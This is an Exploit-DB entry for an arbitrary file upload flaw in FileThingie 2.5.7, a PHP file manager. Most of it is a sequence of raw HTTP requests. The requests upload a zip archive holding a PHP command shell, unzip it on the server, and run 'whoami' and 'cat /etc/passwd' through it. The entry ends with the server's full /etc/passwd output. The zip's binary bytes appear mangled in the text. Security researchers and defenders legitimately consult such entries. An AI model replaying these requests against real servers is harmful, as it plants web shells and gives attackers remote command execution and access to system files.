FileThingie 2.5.7 - Arbitrary File Upload

EDB-ID:
47349

CVE:
N/A

EDB Verified: ✓

Author:
CAKES

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-09-03

Vulnerable App:

```
# Exploit Title: FileThingie 2.5.7 - Arbitrary File Upload
# Author: Cakes
# Discovery Date: 2019-09-03
# Vendor Homepage: www.solitude.dk/filethingie
# Software Link: https://github.com/leefish/filethingie/archive/master.zip
# Tested Version: 2.5.7
# Tested on OS: CentOS 7
# CVE: N/A

# Intro:
# Easy arbitrary file upload vulnerability allows an attacker to upload
malicious .zip archives

::::: POST .zip file with cmd shell

POST /filethingy/ft2.php HTTP/1.1
Host: 10.0.0.21
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.0.0.21/filethingy/ft2.php?dir=/tester
Content-Type: multipart/form-data; boundary=--------------------------
-340252032124802058813118403 4
Content-Length: 1117
Cookie: issabelSession=67ne0anmf52drmijjf1s1ju380;
PHPSESSIDnERPteam=tl1e1m4eieonpgflqa1colhqs2;
nERP_installation=60kne7l4f54fico5ud4tona073;
100021corebos=ktk7mnr6pspnet6n2ij582e1v7;
ci_cookie=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22175c2b30943f0736
PHPSESSID=jl9jcj3vfqf53ujcj332gncpe7
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

----------------------------340252032124802058813118403 4
Content-Disposition: form-data; name="localfile-1567531192592"; filename=""
Content-Type: application/octet-stream


----------------------------340252032124802058813118403 4
Content-Disposition: form-data; name="MAX_FILE_SIZE"

2000000
----------------------------340252032124802058813118403 4
Content-Disposition: form-data; name="localfile"; filename="cmdshell.zip"
Content-Type: application/zip

PK BS BS ENQÂš#O $ cmdshell.phpUT
 ELÃ›ÂŸn]Ã›ÂŸn]Ã›ÂŸn]ux VT SOHEOT EOT Â³Â±/Ãˆ(P(ÃŽHÃRIÃ‰Â‰OÂHMÃ—PÂ‰ww
Â‰VOÃŽMQÂSSÃ•Â´VPÂ°Â·Ã£STK PKELBSÃ½(tÃ…& $ PKSOHSTXDC4ETXDC4 BS BS ENQÂš#OÃ½(tÃ…&
$ Â¤ÂHOP cmdshell.phpUT
 ELÃ›ÂŸn]Ã›ÂŸn]Ã›ÂŸn]ux VT SOHEOT EOT PKENQACK SOH SOH Z Â€
----------------------------340252032124802058813118403 4
Content-Disposition: form-data; name="act"

upload
----------------------------340252032124802058813118403 4
Content-Disposition: form-data; name="dir"

/tester
----------------------------340252032124802058813118403 4
Content-Disposition: form-data; name="submit"

Upload
----------------------------340252032124802058813118403 4--
```

```
::::::::::::::::::::::::::::Unzip  Malicious file

POST /filethingy/ft2.php HTTP/1.1
Host: 10.0.0.21
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.0.0.21/filethingy/ft2.php?dir=/tester
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Cookie: issabelSession=67ne0anmf52drmijjf1s1ju380;
PHPSESSIDnERPteam=tl1e1m4eieonpgflqa1colhqs2;
nERP_installation=60kne7l4f54fico5ud4tona073;
100021corebos=ktk7mnr6pspnet6n2ij582e1v7;
ci_cookie=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22175c2b30943f0736
PHPSESSID=jl9jcj3vfqf53ujcj332gncpe7
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

newvalue=cmdshell.zip&file=cmdshell.zip&dir=%2Ftester&act=unzip



::::::::::::::::::::::::::::Access your shell

GET /filethingy/folders/tester/cmdshell.php?cmd=whoami HTTP/1.1
Host: 10.0.0.21
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: issabelSession=67ne0anmf52drmijjf1s1ju380;
PHPSESSIDnERPteam=tl1e1m4eieonpgflqa1colhqs2;
nERP_installation=60kne7l4f54fico5ud4tona073;
100021corebos=ktk7mnr6pspnet6n2ij582e1v7;
ci_cookie=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22175c2b30943f0736
PHPSESSID=jl9jcj3vfqf53ujcj332gncpe7
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
Cache-Control: max-age=0



::::::::::::::::::::::::::::Read /etc/passwd

GET /filethingy/folders/tester/cmdshell.php?cmd=cat%20/etc/passwd HTTP/1.1
Host: 10.0.0.21
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: issabelSession=67ne0anmf52drmijjf1s1ju380;
PHPSESSIDnERPteam=tl1e1m4eieonpgflqa1colhqs2;
nERP_installation=60kne7l4f54fico5ud4tona073;
100021corebos=ktk7mnr6pspnet6n2ij582e1v7;
ci_cookie=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22175c2b30943f0736
PHPSESSID=jl9jcj3vfqf53ujcj332gncpe7
Connection: close
Upgrade-Insecure-Requests: 1
```

```
upgrade-insecure-Requests: 1
DNT: 1

HTTP/1.1 200 OK
Date: Tue, 03 Sep 2019 17:38:04 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 1738
Connection: close
Content-Type: text/html; charset=UTF-8

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
misdn:x:31:31:Modular ISDN:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
cyrus:x:76:12:Cyrus IMAP Server:/var/lib/imap:/sbin/nologin
mailman:x:41:41:GNU Mailing List Manager:/usr/lib/mailman:/sbin/nologin
saslauth:x:998:76:Saslauthd user:/run/saslauthd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
uucp:x:10:14:Uucp user:/var/spool/uucp:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd
daemon:/dev/null:/sbin/nologin
dhcpd:x:177:177:DHCP server:/:/sbin/nologin
asterisk:x:997:994:Asterisk PBX:/var/lib/asterisk:/bin/bash
spamfilter:x:1000:1000::/home/spamfilter:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-
autoipd:/sbin/nologin
chrony:x:996:993::/var/lib/chrony:/sbin/nologin
cakes:x:1001:1001:cakes:/home/cakes:/bin/bash
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions